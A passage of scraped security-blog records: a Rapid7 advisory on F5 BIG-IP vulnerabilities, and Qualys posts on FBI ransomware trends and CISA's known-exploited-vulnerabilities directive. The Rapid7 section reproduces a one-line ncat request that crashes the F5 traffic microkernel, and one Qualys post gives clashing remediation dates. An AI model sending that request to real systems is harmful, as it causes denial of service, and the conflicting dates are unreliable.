chain will be available soon, we recommend patching F5 systems that expose the affected planes (see below) within the next 3\u20135 days and F5 systems that only expose affected planes internally within a 30-day patch window that hopefully started eight days ago, provided that your organization follows a typical 30-, 60-, 90-day prioritization scheme. If your organization does not have a defined patch cadence system, Rapid7 still recommends that you consider applying these internal system patches within the next 20 days.\n\n## Critical vulnerability overview\n\n### [CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>)\n\n_iControl REST unauthenticated remote command execution vulnerability (CVSSv3 9.8)._\n\nAn HTTP REST API endpoint exposed on the **control plane** of F5 devices has an unauthenticated remote code execution vulnerability, enabling attackers to execute arbitrary code/commands on compromised devices. This impacts BIG-IP systems 7.0.0, 7.1.0, 12.x, and later, as well as any BIG-IQ (F5 BIG-IP centralized management service) version regardless of configuration.\n\n### [CVE-2021-22991](<https://support.f5.com/csp/article/K90004114>)\n\n_Traffic Management Microkernel (TMM) buffer-overflow vulnerability (CVSSv3 9.0)._\n\nThe Traffic Management Microkernel (TMM), which handles requests to virtual servers on the **data plane**, improperly handles certain, undisclosed uniform resource identifiers (URIs). Malicious HTTP requests may cause a buffer overflow and result in a denial-of-service attack. You are vulnerable to exploits if any of the following configurations apply to your F5 deployments:\n\n * BIG-IP 12.1.x or later using BIG-IP Access Policy Manager (APM) in is running in any configuration\n * Specific functions are defined in enabled iRules or LTM policies\n * The URL categorization feature is enabled and in use in either BIG-IP PEM or Secure Web Gateway\n\nFurthermore, customers in the F5 "early access" program are also vulnerable if they are using the Advanced WAF Risk Engine.\n\nThe following commands can be run from a TMOS Shell (tmsh) and will return iRules / LTM policies that can be reviewed against [example policies provided by F5](<https://support.f5.com/csp/article/K56715231>) to determine whether your configurations are at risk:\n \n \n tmsh -q -c \"cd / ; list /ltm rule recursive\" | egrep 'ltm rule|normalize' | grep -B1 normalize # iRules recursive query\n tmsh -q -c \"cd / ; list /ltm policy recursive\" | egrep 'ltm policy|normalize' | grep -B1 normalize # LTM policies recursive query\n \n\n### [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>)\n\n_Appliance Mode TMUI **authenticated** remote command execution vulnerability (CVSSv3 9.9)._\n\nIf an F5 device is running in [appliance mode](<https://support.f5.com/csp/article/K12815>), the Traffic Management User Interface (TMUI)/Configuration utility on the **control plane** has an authenticated remote code execution vulnerability in an unknown number of target URL paths, enabling attackers to execute arbitrary code/commands on compromised devices.\n\n### [CVE-2021-22992](<https://support.f5.com/csp/article/K52510511>)\n\n_Advanced WAF/ASM buffer-overflow vulnerability (CVSSv3 9.0)._\n\nIf an F5 Advanced WAF/BIG-IP ASM virtual server has a [Login Page](<https://techdocs.f5.com/en-us/bigip-14-1-0/big-ip-asm-implementations-14-1-0/creating-login-pages-for-secure-application-access.html>) policy defined, malicious HTTP **responses** may cause a buffer overflow, resulting in a denial-of-service attack and possibly remote code execution. This vulnerability is exposed on the **data plane**.\n\n**NOTE:** The **data plane** refers to any traffic handled by a virtual server, SNAT, NAT, or other non-control-plane-traffic handler. The **control plane** refers to management-related services and traffic flowing to them, such as the Configuration utility (TMUI), iControl REST, and SSH, either through the management IP address or a self IP address exposing the HTTPS or SSH ports (usually 443 or 22).\n\n## Selected expanded details\n\nA [Project Zero](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2132>) report on CVE-2021-22992 posted by [Felix Wilhelm](<https://twitter.com/_fel1x/status/1369675356073041924?s=20>) notes that the vulnerable condition is triggered when BIG-IP systems have rules in place that process HTTP response headers (login pages are given as an example). The web application firewall does not process overlong HTTP response headers properly, and this can lead to a stack-based overflow.\n\n_This is not a trivial weakness to set up_, and in many cases requires knowledge or control of back-end applications behind F5 systems. The researcher notes three scenarios where attackers may be able to gain more granular control over HTTP response headers:\n\n 1. **HTTP header injection**: If one of the backend applications that sits behind an F5 system does not properly handle carriage returns/line feeds (CR/LF) in some inbound HTTP headers that are returned in the HTTP response, an attacker can use this weakness in that application (_not the F5 system itself_) to cause the overflow situation in the F5 system..\n 2. **Request smuggling + HTTP/0.9**: Some F5 configurations may still be vulnerable to various [request smuggling](<https://en.wikipedia.org/wiki/HTTP_request_smuggling>) techniques. Attackers may use an old version of the HTTP protocol (HTTP/0.9) to issue a simplified request to F5-fronted applications. These HTTP 0.9 requests will only return an HTML response without response headers. It may be possible to craft such a request to return user-controllable HTML responses that will trigger this stack-based overflow.\n 3. **Compromised backend**: If an attacker has control over one or more F5-fronted applications, they may be able to use those systems to craft sufficiently large responses to trigger the overflow condition.\n\nThe same researcher also posted a [Project Zero report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2126>) on CVE-2021-22991 noting a weakness in how IPv6 hostnames are processed. An example configuration and demonstration is provided there and reproduced below.\n\nIf there is an F5 iRule such as:\n \n \n when HTTP_REQUEST { \n log local0. \"normalized: [HTTP::uri -normalized]\" \n log local0. \"uri: [HTTP::uri]\"\n }\n \n\na malicious request of the form:\n \n \n echo -e \"GET h://[f] HTTP/1.1\\r\\n\\r\\n\" | ncat --ssl 10.154.0.3 443\n \n\nwill result in uninitialized memory to `/var/log/ltm` on the F5 host, which can lead to a direct crash Traffic Management Microkernel and, thus, a denial of service.\n\nExploitation is dependent on certain iRule configurations being in place, but attackers have plenty of time on their hands and an abundance of compromised hosts available to try many combinations of requests, and F5 systems are easily discoverable on the internet.\n\n## Available mitigations\n\nUntil it is possible to install fixed versions, organizations can use the following F5 references as temporary mitigations for CVE-2021-22986 and CVE-2021-22987 to restrict access to iControl REST API endpoints:\n\n * [Block iControl REST access through the self IP address](<https://support.f5.com/csp/article/K03009991#proc1>)\n * [Block iControl REST access through the management interface](<https://support.f5.com/csp/article/K03009991#proc2>)\n\n## InsightVM Coverage\n\nWe currently have coverage for the following CVEs:\n\n * CVE-2021-22986\n * CVE-2021-22987\n * CVE-2021-22988\n * CVE-2021-22991\n * CVE-2021-22994\n\nWe are investigating coverage for the remaining three CVEs affecting F5 Advanced WAF/BIG-IP ASM:\n\n * CVE-2021-22989\n * CVE-2021-22990\n * CVE-2021-22992\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {}, "published": "2021-03-18T20:19:22", "type": "rapid7blog", "title": "F5 Discloses Eight Vulnerabilities\u2014Including Four Critical Ones\u2014in BIG-IP Systems", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-22986", "CVE-2021-22987", "CVE-2021-22988", "CVE-2021-22989", "CVE-2021-22990", "CVE-2021-22991", "CVE-2021-22992", "CVE-2021-22994"], "modified": "2021-03-18T20:19:22", "id": "RAPID7BLOG:72759E1136A76135F26DD97485912606", "href": "https://blog.rapid7.com/2021/03/18/f5-discloses-eight-vulnerabilities-including-four-critical-ones-in-big-ip-systems/", "cvss": {"score": 0.0, "vector": "NONE"}}], "qualysblog": [{"lastseen": "2022-05-05T07:29:09", "description": "_The FBI has published its annual report on Internet crime. Qualys has analyzed its trends and statistics. In this post, we review our findings, especially with regards to the prevalence of Ransomware, and our recommendations for actions that enterprises should take to mitigate their risk._\n\nEvery year the U.S. Federal Bureau of Investigation publishes [an Internet crime report](<https://www.ic3.gov/Media/PDF/AnnualReport/2021_IC3Report.pdf>) which summarizes its insights on trends and threats from cybercriminals based on all cybercrimes reported to the FBI by the American public. This annual report provides fascinating insights into the threat landscape, key trends, statistics on types of crimes, the real losses resulting from them, and perhaps most importantly, key insights into how cybercriminals operate so that we can better prepare to guard against them.\n\nFor 2021 the FBI reported 5 key threats:\n\n 1. Business Email Compromise (BEC)\n 2. Confidence Fraud / Romance Scams\n 3. Cryptocurrency\n 4. Ransomware\n 5. Tech Support Fraud\n\nOf these threats, only ransomware complaints continue to rise. Ransomware reports increased by almost 51% compared to 2020.\n\nThese complaints resulted in a total of $50 million in losses in 2021, compared to $30 million in 2020\u2014a 66% rise in total losses. Ransomware attacks hit more than [290 enterprises in 2021](<https://www.zdnet.com/article/more-than-290-enterprises-hit-by-6-ransomware-groups-in-2021/>), including major organizations like [Colonial Pipeline](<https://www.bbc.com/news/business-57178503>), [Accenture](<https://cybersecurityworks.com/blog/ransomware/csw-analysis-accenture-attacked-by-lockbit-2-0-ransomware.html>), [Acer](<https://www.bleepingcomputer.com/news/security/computer-giant-acer-hit-by-50-million-ransomware-attack/>), and [others](<https://illinois.touro.edu/news/the-10-biggest-ransomware-attacks-of-2021.php>).\n\n### Top Ransomware Attack Vectors of 2021\n\nRansomware tactics and techniques are evolving continuously, allowing attackers to make their exploits more sophisticated, resulting in an increasing ransomware threat to organizations globally. Although cybercriminals use a variety of techniques to infect victims with ransomware, the top three initial infection vectors reported remain phishing emails, Remote Desktop Protocol (RDP) exploitation, and software vulnerabilities.\n\n* * *\n\n****Get instant visibility into ransomware exposure with Qualys Cloud Platform****\n\n[Try it Now](<https://www.qualys.com/forms/ransomware/>)\n\n* * *\n\n#### Top Ransomware Variants Exploited Vulnerabilities\n\nThe FBI\u2019s investigations isolated the top 3 ransomware variants that victims suffered: CONTI, LockBit, and REvil/Sodinokibi. The chart below tallies the number of incidents reported for each variant:\n\nSource: FBI\n\nThe report states, "_According to information submitted to the Internet Crime Complaint Center (IC3), CONTI most frequently victimized the Critical Manufacturing, Commercial Facilities, and Food and Agriculture sectors. LockBit most frequently victimized the Government Facilities, Healthcare/Public Health, and Financial Services sectors. REvil/Sodinokibi most frequently victimized Financial Services, Information Technology, and Healthcare/Public Health sectors._"\n\nThe increase in remote work due to the Pandemic made four specific infection vectors more popular. Typical delivery methods for these ransomware variants were:\n\n * **Spear phishing** \u2013 campaigns using tailored emails that contain malicious attachments or malicious links\n * **Remote Desktop Protocol (RDP)** credentials that are either stolen or weak\n * **Fake software** promoted via search engine optimization that tempts users to install\n * **Common vulnerabilities** exploited in external IT assets\n\nHere are a few examples of vulnerabilities exploited in 2021 to launch successful ransomware attacks.\n\n##### Conti\n\n * "PrintNightmare" vulnerability ([CVE-2021-34527](<https://media.defense.gov/2021/Sep/22/2002859507/-1/-1/0/CSA_CONTI_RANSOMWARE_20210922.PDF>)) in Windows Print spooler service\n * "Zerologon" vulnerability ([CVE-2020-1472](<https://media.defense.gov/2021/Sep/22/2002859507/-1/-1/0/CSA_CONTI_RANSOMWARE_20210922.PDF>)) in Microsoft Active Directory Domain Controller systems\n\n##### LockBit\n\n * [CVE-2021-22986](<https://cybersecurityworks.com/blog/ransomware/csw-analysis-accenture-attacked-by-lockbit-2-0-ransomware.html>) is a critical unauthenticated, remote code execution vulnerability in the iControl REST interface, affecting BIG-IP and BIG-IQ products. It was used in the [Accenture attack](<https://cybersecurityworks.com/blog/ransomware/csw-analysis-accenture-attacked-by-lockbit-2-0-ransomware.html>).\n\n##### REvil/Sodinokibi\n\n * [CVE-2018-8453](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453>) vulnerability is exploited to elevate privileges\n\n### Recommended Ransomware Mitigations\n\n##### Update your operating system and software\n\nInternet-facing servers should be patched for known vulnerabilities regularly, as well as software processing internet data such as web browsers, browser plugins, and document readers. Software and operating systems should be upgraded regularly to the latest available version. The highest priority should be patching software and operating systems running versions that vendors no longer support.\n\n##### Implement user training and phishing exercises to raise awareness about the risks of suspicious links and attachments. Do not click on suspicious links!\n\nUser training has been proven to teach employees to avoid ransomware attacks from phishing and fake software.\n\n##### If you use Remote Desktop Protocol (RDP), secure and monitor it\n\nLimit access to resources over internal networks and monitor RDP access logs. Ensure devices are properly configured, and security features are enabled.\n\n##### Make an offline backup of your data\n\nRegularly run and maintain offline encrypted backups, then test them. Review the backup schedule of your organization and consider the possible backup disruption risk during weekends and holidays.\n\n##### Use strong passwords\n\nEnsure you have a strongly defined password policy, and ensure it is followed across the organization.\n\n##### Use multi-factor authentication\n\nApply multi-factor authentication (MFA) for all services to the extent possible, particularly for remote access, virtual private networks, and accounts that access critical systems.\n\n##### Secure your network(s): implement segmentation, filter traffic, and scan ports\n\nThe most critical communications should be occurring in the most secure and reliable layer. Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses.\n\nBlacklist the malicious URLs/websites. Scan networks for open and listening ports regularly and close those that are unnecessary.\n\n### How Can Qualys Help?\n\n##### Comprehensive Visibility into Critical Ransomware Risk Exposure\n\nGetting a complete view of your ransomware risk exposure is a big challenge. [Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) helps you gain comprehensive visibility into the vulnerabilities, misconfiguration postures, and unauthorized software installed on all assets across your enterprise. Along with that, you gain visibility into available patches and can deploy these patches on the assets impacted. Our dashboard provides a glimpse of critical ransomware risk exposure across your enterprise in one unified console.\n\n\n\n##### Continuous Detection & Prioritization for Ransomware-specific Vulnerabilities\n\nThe first step toward securing your devices from ransomware is to get complete visibility of all assets in your organization. [Qualys CSAM](<https://www.qualys.com/apps/cybersecurity-asset-management/>) provides "single pane of glass" visibility of all asset types and helps to eliminate any blind spots. You also get visibility into unmanaged assets\n\nThe FBI\u2019s 2021 report clarifies that exploitation of software vulnerabilities remains one of the top three initial infection vectors for ransomware incidents. Most noteworthy is that the top vulnerabilities are exploited using fake software and/or software versions no longer supported by the vendor. CSAM provides visibility into unauthorized and end-of-life software. An unauthorized software list helps you identify fake software that has been installed from unknown sources. \n\n* * *\n\n****Get instant visibility into ransomware exposure with Qualys Cloud Platform****\n\n[Try it Now](<https://www.qualys.com/forms/ransomware/>)\n\n* * *\n\nQualys VMDR helps you to monitor and detect ransomware vulnerabilities continuously. You can view the ransomware vulnerabilities detected on assets on which unauthorized software is running using Qualys Query Language (QQL):\n \n \n Asset dropdown - software:(authorization:Unauthorized) \n Vulnerability dropdown - vulnerabilities.vulnerability.threatIntel.ransomware:true\n\n\n\nYou can also identify all of the assets on which 2021\u2019s top three ransomware variants are detected: CONTI, LockBit, and REvil/Sodinokibi.\n\nQQL details are:\n \n \n (vulnerabilities.vulnerability.threatIntel.ransomware:true) and (vulnerabilities.vulnerability.ransomware.name:[REvil/Sodinokibi, Ryuk/Conti, lockBit])\n\n\n\nUsing Qualys VMDR prioritization, ransomware vulnerabilities can be easily prioritized by using "Ransomware" in the Real-Time Threat Indicator (RTI) filter section:\n\n\n\nAlong with vulnerabilities, Qualys VMDR also keeps you up to date on evolving threats via its 'Live Threat Feed', which can help with prioritization. The "Live Threat Feed" provides visibility of high, medium, and low-rate feeds along with a count of the impacted assets. Click on the count to view more details about the impacted assets.\n\nIn the "Threat Feed" tab, search using `contents:ransomware` to find all threats associated with ransomware.\n\n\n\n##### Discover and Mitigate Ransomware Misconfigurations\n\nMisconfigurations often play a vital role in ransomware attacks, as they might help the attacker gain access to your assets. [Qualys Policy Compliance](<https://www.qualys.com/apps/policy-compliance/>) provides comprehensive visibility into ransomware misconfigurations. The Ransomware Best Practices policy contains the critical controls mapped to MITRE ATT&CK mitigations as well as tactics recommended by [CISA](<https://us-cert.cisa.gov/ncas/alerts/aa21-131a>) and best practices published by [Fireye Mandiant](<https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/wp-ransomware-protection-and-containment-strategies.pdf>). These mitigations are effective across top techniques and can potentially reduce the risk of ransomware attacks. These critical controls can limit attackers' initial access and lateral movement around your network.\n\nApply this ransomware policy to all assets across your enterprise to ensure that all assets are correctly configured. You can automate the configurations assessment and apply this to the golden images to confirm your security baselines before distribution.\n\nQualys Policy Compliance helps you to configure the recommended mitigations for the password, RDP, network security policy, and software update by applying the ransomware policies on the impacted assets.\n\n\n\n##### Automated Effortless Patching for Ransomware Vulnerabilities\n\nQualys [zero-touch patching](<https://blog.qualys.com/product-tech/2021/09/14/optimize-vulnerability-remediation-with-zero-touch-patch>) helps you automatically patch new ransomware-related vulnerabilities that are being actively exploited in attacks. It is faster and more accurate than manual patching and helps to patch up to 97% of ransomware vulnerabilities.\n\n[Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) provides a more efficient and effective way to proactively patch detected ransomware vulnerabilities. Qualys VMDR helps prioritize the ransomware vulnerabilities that Qualys PM executes. This tight integration enables you to initiate patch jobs directly from the Prioritization tab. Quick patching of critical ransomware vulnerabilities reduces ransomware risk. Auto-correlation of patches against the ransomware vulnerabilities detected reduces your overall remediation time and makes the IT team\u2019s job easier.\n\n\n\nReady to hear more? For more details, [watch this video](<https://vimeo.com/617379785>) on our Ransomware offering. Then try out our [Ransomware Risk Assessment & Remediation Service](<https://www.qualys.com/forms/ransomware/>) at no cost for 60 days. Uncover your organization\u2019s level of exposure and create a prescribed patch plan to reduce your ransomware risk.\n\n* * *\n\n****Get instant visibility into ransomware exposure with Qualys Cloud Platform****\n\n[Try it Now](<https://www.qualys.com/forms/ransomware/>)\n\n* * *", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-04T09:40:56", "type": "qualysblog", "title": "Ransomware Insights from the FBI\u2019s 2021 Internet Crime Report", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8453", "CVE-2020-1472", "CVE-2021-22986", "CVE-2021-34527"], "modified": "2022-05-04T09:40:56", "id": "QUALYSBLOG:5A5094DBFA525D07EBC3EBA036CDF81A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": 